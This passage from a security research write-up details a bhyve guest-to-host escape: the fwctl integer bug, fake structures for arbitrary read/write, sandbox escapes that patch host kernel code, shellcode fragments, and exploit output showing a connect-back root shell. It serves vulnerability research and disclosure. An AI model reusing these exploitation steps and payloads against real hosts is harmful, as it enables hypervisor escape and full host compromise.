#define FGET_STRSZ      80
. . .
static int
fget_start(int len)
{

        if (len > FGET_STRSZ)
                return(E2BIG);
        . . .
}

. . .
static struct req_info {
        . . .
        uint32_t req_size;
        uint32_t req_type;
        uint32_t req_txid;
        . . .
} rinfo;
```

The 'req_size' element in 'req_info' structure is defined as an unsigned integer, but fget_start() defines its argument 'len' as a signed integer. Thus, a large unsigned integer such as 0xFFFFFFFF will bypass the validation 'len > FGET_STRSZ' as a signed integer comparison is performed [21][22].

fwctl_request() further calls fwctl_request_data() after a successful validation in fwctl_request_start():

```
static int
fwctl_request_data(uint32_t value)
{
        . . .
        rinfo.req_size -= sizeof(uint32_t);
        . . .
        (*rinfo.req_op->op_data)(value, remlen);

        if (rinfo.req_size < sizeof(uint32_t)) {
                fwctl_request_done();
                return (1);
        }

        return (0);
}
```

'(*rinfo.req_op->op_data)' calls fget_data() to store the guest data into an array 'static char fget_str[FGET_STRSZ]':

```
static void
fget_data(uint32_t data, int len)
{

        *((uint32_t *) &fget_str[fget_cnt]) = data;
        fget_cnt += sizeof(uint32_t);
}
```

fwctl_request_data() decrements 'rinfo.req_size' by 4 bytes on each request and reads until 'rinfo.req_size < sizeof(uint32_t)'. 'fget_cnt' is used as index into the 'fget_str' array and gets increment by 4 bytes on each request. Since 'rinfo.req_size' is set to a large value 0xFFFFFFFF, 'fget_cnt' can be incremented beyond FGET_STRSZ and overwrite the memory adjacent to 'fget_str' array. We have an out-of-bound write in the bss segment!

Since 0xFFFFFFFF bytes of data is too much to read in, the device cannot be transitioned into RESP state until 'rinfo.req_size < sizeof(uint32_t)'. However, this state transition is not a requirement for exploiting the bug.

--[7 - Exploitation of fwctl bug

For the sake of simplicity of setup, we enable the fwctl device by default even when a bootrom is not specified. The below patch is applied to bhyve running on FreeBSD 11.2-RELEASE #0 r335510 host:

```
--- bhyverun.c.orig
+++ bhyverun.c
@@ -1019,8 +1019,7 @@
                assert(error == 0);
        }

-       if (lpc_bootrom())
-               fwctl_init();
+       fwctl_init();

 #ifndef WITHOUT_CAPSICUM
        bhyve_caph_cache_catpages();
```

Rest of this section will detail about the memory layout and techniques to convert the out-of-bound write to a full process r/w.

----[7.1 - Analysis of memory layout in the bss segment

Unlike the heap, the memory adjacent to 'fget_str' has a deterministic layout since it is allocated in the .bss segment. Moreover, FreeBSD does not have ASLR or PIE, which helps in the exploitation of the bug.

Following memory layout was observed in the test environment:

```
        char fget_str[80];
        struct {
                size_t f_sz;
                uint32_t f_data[1024];
        } fget_buf;
        uint64_t padding;
        struct iovec fget_biov[2];
        size_t fget_size;
        uint64_t padding;
        struct inout_handlers handlers[65536];
        . . .
        struct mmio_rb_range *mmio_hint[VM_MAXCPU];
```

Guest will be able to overwrite everything beyond 'fget_str' array. Corrupting 'f_sz' or 'fget_size' is not very interesting as the name sounds. The first interesting target is the array of 'iovec' structures since it has a pointer 'iov_base' and length 'iov_len' which gets used in the RESP state of the device.

```
struct iovec {
        void *iov_base;
        size_t iov_len;
}
```

However, the device never reaches the RESP state due to the large value of 'rinfo.req_size' (0xFFFFFFFF). The next interesting target in the array of 'inout_handlers' structure.

```
+------------------------------------------------------------------------+
|                                                                        |
|+------------++------------+    +--------------------------++---------+|
||            ||            |    |                          ||         ||
||fget_str[80]||  fget_buf  |....|inout_handlers[0...0xffff]||mmio_hint||
||            ||            |    |                          ||         ||
|+------------++------------+    +--------------------------++---------+|
|                                                                        |
+------------------------------------------------------------------------+
```

----[7.2 - Out of bound write to full process r/w

Corrupting 'inout_handlers' structure provides useful primitives for exploitation as already detailed in section 4.2. In the VGA exploit, corrupting the 'arg' pointer of VGA I/O port allows the guest to access memory relative to the 'arg' pointer by accessing the 'dac_palette' array. This section describes how a full process r/w can be achieved.

Let's analyze how the access to PCI I/O space BARs are emulated in bhyve. This is done using pci_emul_io_handler() in pci_emul.c:

```
static int
pci_emul_io_handler(struct vmctx *ctx, int vcpu, int in, int port, int
bytes,
                    uint32_t *eax, void *arg)
{
        struct pci_devinst *pdi = arg;
        struct pci_devemu *pe = pdi->pi_d;
        . . .
                        offset = port - pdi->pi_bar[i].addr;
                        if (in)
                                *eax = (*pe->pe_barread)(ctx, vcpu, pdi, i,
                                                         offset, bytes);
                        else
                                (*pe->pe_barwrite)(ctx, vcpu, pdi, i,
                        offset, bytes, *eax);
        . . .
}
```

Here, 'arg' is a pointer to 'pci_devinst' structure, which holds 'pci_bar' structure and a pointer to 'pci_devemu' structure. All these structures are defined in 'pci_emul.h':

```
struct pci_devinst {
        struct pci_devemu *pi_d;
        . . .
        void      *pi_arg;              /* devemu-private data */

        u_char    pi_cfgdata[PCI_REGMAX + 1];
        struct pcibar pi_bar[PCI_BARMAX + 1];
};
```

'pci_devemu' structure has callbacks specific to each of the virtual devices. The callbacks of interest for this section are 'pe_barwrite' and 'pe_barread', which are used for handling writes and reads to BAR mapping I/O memory space:

```
struct pci_devemu {
        char      *pe_emu;              /* Name of device emulation */
        . . .
        /* BAR read/write callbacks */
        void      (*pe_barwrite)(struct vmctx *ctx, int vcpu,
                                 struct pci_devinst *pi, int baridx,
                                 uint64_t offset, int size, uint64_t
                                value);
    uint64_t  (*pe_barread)(struct vmctx *ctx, int vcpu,
                                struct pci_devinst *pi, int baridx,
                                uint64_t offset, int size);
};
```

'pci_bar' structure stores information about the type, address and size of BAR:

```
struct pcibar {
        enum pcibar_type        type;           /* io or memory */
        uint64_t                size;
        uint64_t                addr;
};
```

By overwriting any 'inout_handlers->handler' with pointer to pci_emul_io_handler() and 'arg' with pointer to fake 'pci_devinst' structure, it is possible to control the calls to 'pe->pe_barread' and 'pe->pe_barwrite' and its arguments 'pi', 'offset' and 'value'. Next part of the analysis is to find a 'pe_barwrite' and 'pe_barread' callback useful for full process r/w.

Bhyve has a dummy PCI device initialized in pci_emul.c which suits this purpose:

```
#define DIOSZ   8
#define DMEMSZ  4096

struct pci_emul_dsoftc {
        uint8_t   ioregs[DIOSZ];
        uint8_t   memregs[2][DMEMSZ];
};

. . .
static void
pci_emul_diow(struct vmctx *ctx, int vcpu, struct pci_devinst *pi, int
baridx,
              uint64_t offset, int size, uint64_t value)
{
        int i;
        struct pci_emul_dsoftc *sc = pi->pi_arg;
        . . .
                if (size == 1) {
                        sc->ioregs[offset] = value & 0xff;
                } else if (size == 2) {
                        *(uint16_t *)&sc->ioregs[offset] = value & 0xffff;
                } else if (size == 4) {
                        *(uint32_t *)&sc->ioregs[offset] = value;
        . . .
}

static uint64_t
pci_emul_dior(struct vmctx *ctx, int vcpu, struct pci_devinst *pi, int
baridx,
              uint64_t offset, int size)
{
        struct pci_emul_dsoftc *sc = pi->pi_arg;
        . . .
                if (size == 1) {
                        value = sc->ioregs[offset];
                } else if (size == 2) {
```

```
                        value = *(uint16_t *) &sc->ioregs[offset];
                } else if (size == 4) {
                        value = *(uint32_t *) &sc->ioregs[offset];
        . . .
}
```

pci_emul_diow() and pci_emul_dior() are the 'pe_barwrite' and 'pe_barread' callbacks for this dummy device. Since 'pci_devinst' structure is fake, 'pi->pi_arg' could be set to an arbitrary value. Read and write to 'ioregs' or 'memregs' could access any memory relative to the arbitrary address set in 'pi->pi_arg'.

Guest can now overwrite the 'inout_handlers[0]' structure as detailed above and access I/O port 0 to trigger memory read or write relative to fake 'pi_arg'. Though this is good enough to exploit the bug, we still do not have full process arbitrary r/w.

In order to access multiple addresses of choice, multiple fake 'pci_devinst' structure needs to be created, i.e. I/O port 0 with fake 'pi_arg' pointer to address X, I/O port 1 with fake pointer 'pi_arg' to address Y and so on.

```
+-------------------------------------------------------------------------+
|                            Representations                              |
|   +--------------+---+                 +---------------+---+            |
|   |    Fake      |   +--->+----+       |     Fake      |   |            |
|   | pci_devinst  |        | FI |       |  pci_devemu   |   |            |
|   | +---------+  |        |+--+|       | +-----------+ |   |            |
|   | |   pi_d  |  |        ||PD||       | |pe_barread | |   +--->+----+  |
|   | +---------+  |        |+--+|       | +-----------+ |        | FE |  |
|   | +---------+  |        |+--+|       | +-----------+ |   +--->+----+  |
|   | |  pi_arg |  |        ||PA||       | |pe_barwrite| |   |            |
|   | +---------+  |        |+--+|       | +-----------+ |   |            |
|   |              |   +--->+----+       |               |   |            |
|   +--------------+---+                 +---------------+---+            |
|                                                                         |
|                                                                         |
|   +---------------+--+                                                  |
|   |     Fake      |  |                                                  |
|   |inout_handlers |  |                                                  |
|   |               |  |                                                  |
|   |               |  +--->+----+                                        |
|   |   +------+    |       | IO |                                        |
|   |   | arg  |    |  +--->+----+                                        |
|   |   +------+    |  |                                                  |
|   |               |  |                                                  |
|   |               |  |                                                  |
|   +---------------+--+                                                  |
+-------------------------------------------------------------------------+
```

```
                              Fake Structures
                                  +-----------------------------------+
                                  |                                   |
                           +------+----------------------------+      |
                           |      |                            |      |
                   +-------+------+---------------------+      |      |
                   |       |      |                     |      |      |
 +-----------------+-------+------+---------------------+------+------+---+
 |+--------+ +-----+-------+------+-----------+      +--+--++--+--++--+--+|
 ||        | |     |       |      | fget_buf  |      |     ||     ||     ||
 ||        | | +---v--++---v--++--v---++----+ |      |     ||     ||     ||
 ||        | | | FI[0]|| FI[1]|| FI[N]||    | |      |     ||     ||     ||
 ||        | | | +--+ || +--+ || +--+ ||    | |      |     ||     ||     ||
 ||fget_str| | | |PD| || |PD| || |PD| ||    | |      |IO[0]||IO[1]||IO[N]||
 ||        | | | +--+ || +--+ || +--+ || FE | |      |     ||     ||     ||
 ||        | | | +--+ || +--+ || +--+ ||    | |      |     ||     ||     ||
 ||        | | | |PA| || |PA| || |PA| ||    | |      |     ||     ||     ||
 ||        | | | +-++ || +-++ || +-++ ||    | |      |     ||     ||     ||
```

```
 ||        | | +---+--++---+--++---+--++----+ |     |     ||     ||     ||
 |+--------+ +-----+-------+-------+----------+     +-----++-----++-----+|
 +-----------------+-------+-------+-------------------------------------+
                   |       |       |
                   |       |       |
                   |       |       |
                   v       |       |
              +---------+  |       |
              |Address X|  |       |
              +---------+  |       |
                           v       |
                      +---------+  |
                      |Address Y|  |
                      +---------+  |
                                   v
                              +---------+
                              |Address N|
                              +---------+
```

Instead, guest could create 2 fake 'pci_devinst' structure by corrupting 'inout_handlers' structures for I/O port 0 and 1. First 'pi_arg' could point to the address of 'fget_cnt'. fget_data() writes data into 'fget_str' array using 'fget_cnt' as index. Since 'fget_cnt' controls the relative write from 'fget_str', it can be used to modify second 'pi_arg' or any other memory adjacent to 'fget_str'.

So, the idea is to perform the following
- Corrupt inout_handlers[0] so that 'pi_arg' in 'pci_devinst' structure points to 'fget_cnt'
- Corrupt inout_handlers[1] such that 'pi_arg' in 'pci_devinst' is initially set to NULL
- Set fget_cnt value using I/O port 0, such that fget_str[fget_cnt] points to 'pi_arg' of I/O port 1
- Use fwctl write operation to set 'pi_arg' of I/O port 1 to arbitrary address
- Use I/O port 1, to read or write to the address set in the previous step
- Above 3 steps could be repeated to perform read or write to anywhere in memory
- Alternatively, inout_handlers[0] could also be set up to write directly to 'pi_arg' of I/O port 1

```
                             Fake Structures

                                       +----------------------------+
                                       |                            |
                                +------+---------------------+      |
                                |      |                     |      |
+-------------------------------+------+---------------------+------+---+
| +--------+    +--------+ +----+------+------------+     +--+--++--+--+|
| |        |    |        | |    |      |   fget_buf |     |     ||     ||
| |        |    |        | |+---v--++--v---+ +----+ |     |     ||     ||
| |        |    |        | || FI[0]|| FI[1]| |    | |     |     ||     ||
| |        |    |        | || +--+ || +--+ | |    | |     |     ||     ||
| |fget_cnt|    |fget_str| || |PD| || |PD| | |    | |     |IO[0]||IO[1]||
| |        |    |        | || +--+ || +--+ | | FE | |     |     ||     ||
| |        |    |        | || +--+ || +--+ | |    | |     |     ||     ||
| |        |    |        | || |PA| || |PA| | |    | |     |     ||     ||
| |        |    |        | || ++-+ || +^-+ | |    | |     |     ||     ||
| |        |    |        | |+--+---++--+-+-+ +----+ |     |     ||     ||
| +-+---^--+    +--------+ +---+-------+-+----------+     +-----++-----+|
+---+---+----------------------+-------+-+------------------------------+
    |   |                      |       | |
    |   |                      |       | |
    |   |                      |       | |
    |   +----------------------+       | |
    |        FI[0]->pi_arg             | |
    |     points to fget_cnt           | |
    |        to set index              | |
    |                                  | |
```

```
    +------------------------------------+ |
           fget_str[fget_cnt]              |
              points to                    |
             FI[1]->pi_arg                 |
                                           |
                                           v
                                   +---------------+
                                   | Arbitrary R/W |
                                   +---------------+
```

From here guest could re-use any of the technique used in VGA exploit for RIP and RSP control. The attached exploit code uses 'mmio_hint' overwrite.

--[8 - Sandbox escape using PCI passthrough

Bhyve added support for capsicum sandbox [9] through changes [10] [11]. Addition of capsicum is a huge security improvement as a large number of syscalls are filtered, and any code execution in bhyve is limited to the sandboxed process.

The user space process enters capability mode after performing all the initialization in main() function of bhyverun.c:

```
int
main(int argc, char *argv[])
{
        . . .
#ifndef WITHOUT_CAPSICUM
        . . .
        if (cap_enter() == -1 && errno != ENOSYS)
                errx(EX_OSERR, "cap_enter() failed");
#endif
        . . .
}
```

The sandbox specific code in bhyve is wrapped within the preprocessor directive 'WITHOUT_CAPSICUM', such that one can also build bhyve without capsicum support if needed. Searching for 'WITHOUT_CAPSICUM' in the codebase will give a fair understanding of the restrictions imposed on the bhyve process. The sandbox reduces capabilities of open file descriptors using cap_rights_limit(), and for file descriptors having CAP_IOCTL capability, cap_ioctls_limit() is used to whitelist the allowed set of IOCTLs.

However, virtual devices do interact with kernel drivers in the host. A bug in any of the whitelisted IOCTL command could allow code execution in the context of the host kernel. This attack surface is dependent on the virtual devices enabled in the guest VM and the descriptors opened by them during initialization. Another interesting attack surface is the VMM itself. The VMM kernel module has a bunch of IOCTL commands, most of which are reachable by default from within the sandbox.

This section details about a couple of sandbox escapes through PCI passthrough implementation in bhyve [12]. PCI passthrough in bhyve allows a guest VM to directly interact with the underlying hardware device exclusively available for its use. However, there are some exceptions:

- Guest is not allowed to modify the BAR registers directly
- Read and write access to the BAR and MSI capability registers in the PCI configuration space are emulated

PCI passthrough devices are initialized using passthru_init() function in pci_passthru.c. passthru_init() further calls cfginit() to initialize MSI and BARs for PCI using cfginitmsi() and cfginitbar() respectively. cfginitbar() allocates the BAR in guest address space using pci_emul_alloc_pbar() and then maps the physical BAR address to the guest address space using vm_map_pptdev_mmio():

```
static int
```

```
cfginitbar(struct vmctx *ctx, struct passthru_softc *sc)
{
        . . .
        for (i = 0; i <= PCI_BARMAX; i++) {
                . . .
                if (ioctl(pcifd, PCIOCGETBAR, &bar) < 0)
                . . .
                /* Cache information about the "real" BAR */
                sc->psc_bar[i].type = bartype;
                sc->psc_bar[i].size = size;
                sc->psc_bar[i].addr = base;

                /* Allocate the BAR in the guest I/O or MMIO space */
                error = pci_emul_alloc_pbar(pi, i, base, bartype, size);
                . . .
                /* The MSI-X table needs special handling */
                if (i == pci_msix_table_bar(pi)) {
                        error = init_msix_table(ctx, sc, base);
                . . .
                } else if (bartype != PCIBAR_IO) {
                        /* Map the physical BAR in the guest MMIO space */
                        error = vm_map_pptdev_mmio(ctx, sc->psc_sel.pc_bus,
                                sc->psc_sel.pc_dev, sc->psc_sel.pc_func,
                                pi->pi_bar[i].addr, pi->pi_bar[i].size,
base);
                . . .
        }
}
```

vm_map_pptdev_mmio() API is part of libvmmapi library and defined in vmmapi.c. It calls VM_MAP_PPTDEV_MMIO IOCTL command to create the mappings for host memory in the guest address space. The IOCTL requires the bus, slot, func details of the passthrough device, the guest physical address 'gpa' and the host physical address 'hpa' as parameters:

```
int
vm_map_pptdev_mmio(struct vmctx *ctx, int bus, int slot, int func,
                   vm_paddr_t gpa, size_t len, vm_paddr_t hpa)
{
        . . .
        pptmmio.gpa = gpa;
        pptmmio.len = len;
        pptmmio.hpa = hpa;

        return (ioctl(ctx->fd, VM_MAP_PPTDEV_MMIO, &pptmmio));
}
```

BARs for MSI-X Table and MSI-X Pending Bit Array (PBA) are handled differently from memory or I/O BARs. MSI-X Table is not directly mapped to the guest address space but emulated. MSI-X Table and MSI-X PBA could use two separate BARs, or they could be mapped to the same BAR. When mapped to the same BAR, MSI-X structures could also end up sharing a page, though the offsets do not overlap. So MSI-X emulation considers the below conditions:

- MSI-X Table does not exclusively map a BAR
- MSI-X Table and MSI-X PBA maps the same BAR
- MSI-X Table and MSI-X PBA maps the same BAR and share a page

The interesting case for sandbox escape is the emulation when MSI-X Table and MSI-X PBA share a page. Let's take a closer look at init_msix_table():

```
static int
init_msix_table(struct vmctx *ctx, struct passthru_softc *sc, uint64_t
base)
{
        . . .
        if (pi->pi_msix.pba_bar == pi->pi_msix.table_bar) {
               . . .
                         /*
```

```
                         * The PBA overlaps with either the first or last
                         * page of the MSI-X table region.  Map the
                         * appropriate page.
                         */
                        if (pba_offset <= table_offset)
                                pi->pi_msix.pba_page_offset = table_offset;
                        else
                                pi->pi_msix.pba_page_offset = table_offset
+
                                    table_size - 4096;
                        pi->pi_msix.pba_page = mmap(NULL, 4096, PROT_READ |
                            PROT_WRITE, MAP_SHARED, memfd, start +
                            pi->pi_msix.pba_page_offset);
                . . .
        }
        . . .
        /* Map everything before the MSI-X table */
        if (table_offset > 0) {
                len = table_offset;
                error = vm_map_pptdev_mmio(ctx, b, s, f, start, len, base);
        . . .
        /* Skip the MSI-X table */
        . . .
        /* Map everything beyond the end of the MSI-X table */
        if (remaining > 0) {
                len = remaining;
                error = vm_map_pptdev_mmio(ctx, b, s, f, start, len, base);
        . . .
}
```

All physical pages before and after the MSI-X table are directly mapped into the guest address space using vm_map_pptdev_mmio(). Access to PBA on page shared by MSI-X table and MSI-X PBA is emulated by mapping the /dev/mem interface using mmap(). Read or write to PBA is allowed based on the offset of memory access in the page and any direct access to MSI-X table on the shared page is avoided. The handle to /dev/mem interface is opened during passthru_init() and remains open till the lifetime of the process:

```
#define _PATH_MEM       "/dev/mem"
. . .
static int
passthru_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts)
{
        . . .
        if (memfd < 0) {
                memfd = open(_PATH_MEM, O_RDWR, 0);
        . . .
        cap_rights_set(&rights, CAP_MMAP_RW);
        if (cap_rights_limit(memfd, &rights) == -1 && errno != ENOSYS)
        . . .
}
```

There are two interesting things to notice in the overall PCI passthrough implementation:
- There is an open handle to /dev/mem interface with CAP_MMAP_RW rights within the sandboxed process. FreeBSD does not restrict access to this memory file like Linux does with CONFIG_STRICT_DEVMEM
- The VM_MAP_PPTDEV_MMIO IOCTL command maps host memory pages into the guest address space for supporting passthrough. However, the IOCTL does not validate the host physical address for which a mapping is requested. The host address may or may not belong to any of the BARs mapped by a device.

Both of this can be used to escape the sandbox by mapping arbitrary host memory from within the sandbox.

With the ability to read and write to an arbitrary physical address, the initial plan was to find and overwrite the 'ucred' credentials structure of the bhyve process. Searching through the system memory to locate the 'ucred' structure could be time-consuming. An alternate approach is to target some deterministic allocation in the physical address space. The kernel base physical address of FreeBSD x86_64 system is not randomized [13] and always starts at 0x200000 (2MB). Guest can overwrite host kernel's .text segment to escape the sandbox.

To come up with a payload to disable capability lets analyze the sys_cap_enter() syscall. The sys_cap_enter() system call sets the CRED_FLAG_CAPMODE flag in 'cr_flags' element of 'ucred' structure to enable the capability mode. Below is the code from kern/sys_capability.c:

```
int
sys_cap_enter(struct thread *td, struct cap_enter_args *uap)
{
        . . .
        if (IN_CAPABILITY_MODE(td))
                return (0);

        newcred = crget();
        p = td->td_proc;
        . . .
        newcred->cr_flags |= CRED_FLAG_CAPMODE;
        proc_set_cred(p, newcred);
        . . .
}
```

The macro 'IN_CAPABILITY_MODE()' defined in capsicum.h is used to verify if the process is in capability mode and enforce restrictions.

```
#define IN_CAPABILITY_MODE(td) (((td)->td_ucred->cr_flags &
CRED_FLAG_CAPMODE) != 0)
```

To disable capability mode:
- Overwrite a system call which is reachable from within the sandbox and takes a pointer to 'thread' (sys/sys/proc.h) or 'ucred' (sys/sys/ucred.h) structure as argument
- Trigger the overwritten system call from the sandboxed process
- Overwritten payload should use the pointer to 'thread' or 'ucred' structure to disable capability mode set in 'cr_flags'

The ideal choice for this turns out to be sys_cap_enter() system call itself since its reachable from within the sandbox and takes 'thread' structure as its first argument. The kernel payload to replace sys_cap_enter() syscall code is below:

```
root@:~ # gdb -q /boot/kernel/kernel
Reading symbols from /boot/kernel/kernel...Reading symbols from
/usr/lib/debug//boot/kernel/kernel.debug...done.
done.
(gdb) macro define offsetof(t, f) &((t *) 0)->f)
(gdb) p offsetof(struct thread, td_ucred)
$1 = (struct ucred **) 0x140
(gdb) p offsetof(struct ucred, cr_flags)
$2 = (u_int *) 0x40

movq 0x140(%rdi), %rax  /* get ucred, struct ucred *td_ucred    */
xorb $0x1, 0x40(%rax)   /* flip cr_flags in ucred */
xorq %rax, %rax
ret
```

Now either the open handle to /dev/mem interface or VM_MAP_PPTDEV_MMIO IOCTL command can be used to escape the sandbox. The /dev/mem sandbox escape requires the first stage payload executing within the sandbox to mmap() the page having the kernel code of sys_cap_enter() system call and then overwrite it:

```
---[ shellcode.c ]---
. . .
```

```
        kernel_page = (uint8_t *)payload->syscall(SYS_mmap, 0, 4096,
PROT_READ | PROT_WRITE, MAP_SHARED,
                          DEV_MEM_FD, sys_cap_enter_phyaddr & 0xFFF000);

        offset_in_page = sys_cap_enter_phyaddr & 0xFFF;
        for (int i = 0; i < sizeof(payload->disable_capability); i++) {
                kernel_page[offset_in_page + i] =
payload->disable_capability[i];
        }

        payload->syscall(SYS_cap_enter);
. . .
```

VM_MAP_PPTDEV_MMIO IOCTL sandbox escape requires some more work. The guest physical address to map the host kernel page should be chosen correctly. VM_MAP_PPTDEV_MMIO command is handled in vmm/vmm_dev.c by a series of calls ppt_map_mmio()->vm_map_mmio()->vmm_mmio_alloc(). The call of importance is 'vmm_mmio_alloc()' in vmm/vmm_mem.c:

```
vm_object_t
vmm_mmio_alloc(struct vmspace *vmspace, vm_paddr_t gpa, size_t len,
               vm_paddr_t hpa)
{
        . . .
                error = vm_map_find(&vmspace->vm_map, obj, 0, &gpa, len, 0,
                                    VMFS_NO_SPACE, VM_PROT_RW, VM_PROT_RW,
0);
        . . .
}
```

The vm_map_find() function [14] is used to find a free region in the provided map 'vmspace->vm_map' with 'find_space' strategy set to VMFS_NO_SPACE. This means the MMIO mapping request will only succeed if there is a free region of the requested length at the given guest physical address. An ideal address to use would be from a memory range not allocated to system memory or PCI devices [15].

The first stage shellcode executing within the sandbox will map the host kernel page into the guest and returns control back to the guest OS.

```
---[ shellcode.c ]---
. . .
        payload->mmio.bus  = 2;
        payload->mmio.slot = 3;
        payload->mmio.func = 0;
        payload->mmio.gpa  = gpa_to_host_kernel;
        payload->mmio.hpa  = sys_cap_enter_phyaddr & 0xFFF000;
        payload->mmio.len  = getpagesize();
. . .
        payload->syscall(SYS_ioctl, VMM_FD, VM_MAP_PPTDEV_MMIO,
&payload->mmio);
. . .
```

The guest OS then maps the guest physical address and writes to it, which in turn overwrites the host kernel pages:

```
---[ exploit.c ]---
. . .
        warnx("[+] Mapping GPA pointing to host kernel...");
        kernel_page = map_phy_address(gpa_to_host_kernel, getpagesize());

        warnx("[+] Overwriting sys_cap_enter in host kernel...");
        offset_in_page = sys_cap_enter_phyaddr & 0xFFF;
        memcpy(&kernel_page[offset_in_page], &disable_capability,
                          (void *)&disable_capability_end - (void
*)&disable_capability);
. . .
```

Finally, the guest triggers the second stage payload to call sys_cap_enter() to disable the capability mode. Interestingly, the VM_MAP_PPTDEV_MMIO command sandbox escape will work even when an individual guest VM is not configured to use PCI passthrough.

During initialization passthru_init() calls the libvmmapi API vm_assign_pptdev() to bind the device:

```
static int
passthru_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts)
{
        . . .
        if (vm_assign_pptdev(ctx, bus, slot, func) != 0) {
        . . .
}

int
vm_assign_pptdev(struct vmctx *ctx, int bus, int slot, int func)
{
        . . .
        pptdev.bus = bus;
        pptdev.slot = slot;
        pptdev.func = func;

        return (ioctl(ctx->fd, VM_BIND_PPTDEV, &pptdev));
}
```

Similarly, payload running in the sandboxed process can bind to a passthrough device using VM_BIND_PPTDEV IOCTL command and then use VM_MAP_PPTDEV_MMIO command to escape the sandbox. For this to work, some PCI device should be configured for passthrough in the loader configuration of the host [12] and not owned by any other guest VM.

```
---[ shellcode.c ]---
. . .
        payload->pptdev.bus  = 2;
        payload->pptdev.slot = 3;
        payload->pptdev.func = 0;
. . .
        payload->syscall(SYS_ioctl, VMM_FD, VM_BIND_PPTDEV,
&payload->pptdev);
        payload->syscall(SYS_ioctl, VMM_FD, VM_MAP_PPTDEV_MMIO,
&payload->mmio);
. . .
```

Running the VM escape exploit with PCI passthrough sandbox escape will give the following output:

```
root@guest:~/setupB/fwctl_sandbox_bind_exploit # ./exploit 192.168.182.144
6969
exploit: [+] CPU affinity set to vCPU0
exploit: [+] Changing state to IDENT_SEND
exploit: [+] Reading signature...
exploit: [+] Received signature : BHYV
exploit: [+] Set req_size value to 0xFFFFFFFF
exploit: [+] Setting up fake structures...
exploit: [+] Preparing connect back shellcode for 192.168.182.144:6969
exploit: [+] Sending data to overwrite IO handlers...
exploit: [+] Overwriting mmio_hint...
exploit: [+] Triggering MMIO read to execute sandbox bypass payload...
exploit: [+] Mapping GPA pointing to host kernel...
exploit: [+] Overwriting sys_cap_enter in host kernel...
exploit: [+] Triggering MMIO read to execute connect back payload...
root@guest:~/setupB/fwctl_sandbox_bind_exploit #

root@guest:~ # nc -vvv -l 6969
Connection from 192.168.182.143 61608 received!
id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
```

It is also possible to trigger a panic() in the host kernel from within the sandbox by adding a device twice using VM_BIND_PPTDEV. During the VM_BIND_PPTDEV command handling, vtd_add_device() in vmm/intel/vtd.c calls panic() if the device is already owned. I did not explore this further as it is less interesting for a complete sandbox escape.

```
static void
vtd_add_device(void *arg, uint16_t rid)
{
        . . .
        if (ctxp[idx] & VTD_CTX_PRESENT) {
                panic("vtd_add_device: device %x is already owned by "
                      "domain %d", rid,
                      (uint16_t)(ctxp[idx + 1] >> 8));
        }
        . . .
}
```

```
---[ core.txt ]---
. . .
panic: vtd_add_device: device 218 is already owned by domain 2
cpuid = 0
KDB: stack backtrace:
#0 0xffffffff80b3d567 at kdb_backtrace+0x67
#1 0xffffffff80af6b07 at vpanic+0x177
#2 0xffffffff80af6983 at panic+0x43
#3 0xffffffff8227227c at vtd_add_device+0x9c
#4 0xffffffff82262d5b at ppt_assign_device+0x25b
#5 0xffffffff8225da20 at vmmdev_ioctl+0xaf0
#6 0xffffffff809c49b8 at devfs_ioctl_f+0x128
#7 0xffffffff80b595ed at kern_ioctl+0x26d
#8 0xffffffff80b5930c at sys_ioctl+0x15c
#9 0xffffffff80f79038 at amd64_syscall+0xa38
#10 0xffffffff80f57eed at fast_syscall_common+0x101
. . .
```

--[9 - Analysis of CFI and SafeStack in HardenedBSD 12-CURRENT

Bhyve in HardenedBSD 12-CURRENT comes with mitigations like ASLR, PIE, clang's Control-Flow Integrity (CFI) [16], SafeStack etc. Addition of mitigations created a new set of challenge for exploit development. The initial plan was to test against these mitigations using CVE-2018-17160 [21]. However, turning CVE-2018-17160 into an information disclosure looked less feasible during my analysis. To continue the analysis further, I reverted the patch for VGA bug (FreeBSD-SA-16:32) [1] for information disclosure. Now we have a combination of two bugs, VGA bug to disclose bhyve base address and fwctl bug for arbitrary r/w.

During an indirect call, CFI verifies if the target address points to a valid function and has a matching function pointer type. All the details mentioned in section 7.2 for achieving arbitrary read and write works even under CFI once we know the bhyve base address. The function pci_emul_io_handler() used to overwrite the 'handler' in 'inout_handlers' structure and functions pci_emul_dior(), pci_emul_diow() used in fake 'pci_devemu' structure, all have matching function pointer types and does not violate CFI rules.

For making indirect function calls, CFI instrumentation generates a jump table, which has branch instruction to the actual target function [17]. It is this address of jump table entries which are valid targets for CFI and should be used when overwriting the callbacks. Symbols to the target function are referred to as *.cfi. Since radare2 does a good job in analyzing CFI enabled binaries, jump tables can be located by finding references to the symbols *.cfi.

```
# r2 /usr/sbin/bhyve
[0x0001d000]> o /usr/lib/debug/usr/sbin/bhyve.debug
[0x0001d000]> aaaa
```

```
[0x0001d000]> axt sym.pci_emul_diow.cfi
sym.pci_emul_diow 0x64ca8 [code] jmp sym.pci_emul_diow.cfi
[0x0001d000]> axt sym.pci_emul_dior.cfi
sym.pci_emul_dior 0x64c60 [code] jmp sym.pci_emul_dior.cfi
```

Rest of the section will detail about targets to overwrite when CFI and SafeStack are in place. All the previously detailed techniques will no longer work. CFI bypasses due to lack of Cross-DSO CFI is out of scope for this research.

----[9.1 - SafeStack bypass using neglected pointers

SafeStack [18] protects against stack buffer overflows by separating the program stack into two regions - safe stack and unsafe stack. The safe stack stores critical data like return addresses, register spills etc. which need protection from stack buffer overflows. For protection against arbitrary memory writes, SafeStack relies on randomization and information hiding. ASLR should be strong enough to prevent an attacker from predicting the address of the safe stack, and no pointers to the safe stack should be stored outside the safe stack itself.

However, this is not always the case. There are a lot of neglected pointers to the safe stack as already demonstrated in [19]. Bhyve stores pointers to stack data in global variables during its initialization in main 'mevent' thread. Some of the pointers are 'guest_uuid_str', 'vmname', 'progname' and 'optarg' in bhyverun.c. Other interesting variables storing pointers to the stack are 'environ' and '__progname':

```
root@renorobert:~ # gdb -q -p `pidof bhyve`
Attaching to process 62427
Reading symbols from /usr/sbin/bhyve...Reading symbols from
/usr/lib/debug//usr/sbin/bhyve.debug...done.
done.
. . .
(gdb) x/gx &progname
0x262fbe9b600 <progname>:   0x00006dacc2a15a40
```

'mevent' thread also stores a pointer to pthread structure in 'mevent_tid' declared in mevent.c:

```
static pthread_t mevent_tid;
. . .
void
mevent_dispatch(void)
{
        . . .
        mevent_tid = pthread_self();
        . . .
}
```

The arbitrary read primitive created from fwctl bug can disclose the safe stack address of 'mevent' thread by reading any of the variables mentioned above.
